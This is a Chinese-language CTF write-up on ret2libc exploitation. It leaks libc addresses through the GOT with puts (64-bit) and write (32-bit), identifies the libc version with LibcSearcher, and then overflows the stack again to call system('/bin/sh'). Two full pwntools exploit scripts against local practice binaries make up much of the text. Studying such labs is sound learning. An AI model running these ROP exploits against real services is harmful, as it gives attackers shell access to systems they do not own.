目录
原理:在程序运行中,当函数运行过一次之后,会将函数的地址存在got表中,我们可以利用输出函数对函数地址进行泄露
puts64位
基础检查,只有NX保护
丢入ida
第二个read 明显存在栈溢出
寻找system
发现找不到system 和binsh
也没有flag的字符,初步认为要泄露libc
接下来开始payload的构造
注意64位要用寄存器来传参
用ROR-gadget寻找合适的寄存器
泄露出read的真实地址
payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main)
下面是接收数据
read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#read=u64(io.recv(6).ljust(8,b'\x00'))
#主要使用第一个,第二个有数据干扰
#第一个的原理是我们的地址都是'\x7f'开头的,使用只有遇到'\x7f'才会开始接收
接下俩找libc版本又两种方法
一个是去下面网站寻找
另一种方法是安装LibcSearcher的库
下面是安装教程
我使用的是第二种方法
泄露出地址之后开始寻找版本
#LibcSearcher的使用示例
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
选择正确的版本
最后再进行一次溢出
payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
这里还要注意栈对齐,要用寄存器多绕一步来维持栈平衡
最后运行
最终exp
from pwn import*
from LibcSearcher import LibcSearcher
context.log_level='debug'
io=process('./libc')
elf=ELF('./libc')
read_got=elf.got['read']
puts_plt=elf.plt['puts']
main=elf.sym['main']
io.recvuntil("Hacker,What's your name?")
io.sendline('2')
payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main)
io.recvuntil("then let's begin!\n")
io.sendline(payload)
read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("the read really address\n")
print(hex(read))
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
io.send('2')
payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
io.recvuntil("then let's begin!\n")
io.sendline(payload)
io.interactive()
这里提醒一下读者,一定要注意数据的接收顺序来编写recvuntil,笔者在这里卡了好久
write(32位)
基础检查
基础检擦,保护基本没开
丢入ida
很简单 read 函数存在明显的栈溢出
同样还是找不到system 也没有flag等字符
初步认为是libc 泄露
那么可以运用write函数来泄露got表
在ida中找到返回函数
使用payload1的构造为
payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)
这里要注意write函数要传入三个参数
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
地址泄露后开始找libc
这次我选择用第一种方法
找到对应地址
开始找算偏移和构造system和binsh 的地址
base=read_got-0x10a840
system=base+0x04c880
binsh=base+0x1b5fc8
最后再进行一次 栈溢出
payload=b'a'*140+p32(system)+p32(0)+p32(binsh)
运行exp
最终exp
from pwn import *
from LibcSearcher import LibcSearcher
sh=process('./123')
elf=ELF('./123')
read=elf.got['read']
write=elf.plt['write']
payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)
sh.send(payload)
read_got=u32(sh.recv())
print("the read of address :",hex(read_got))
base=read_got-0x10a840
system=base+0x04c880
binsh=base+0x1b5fc8
payload=b'a'*140+p32(system)+p32(0)+p32(binsh)
sh.send(payload)
sh.interactive()
笔者纯小白,有错误还望指出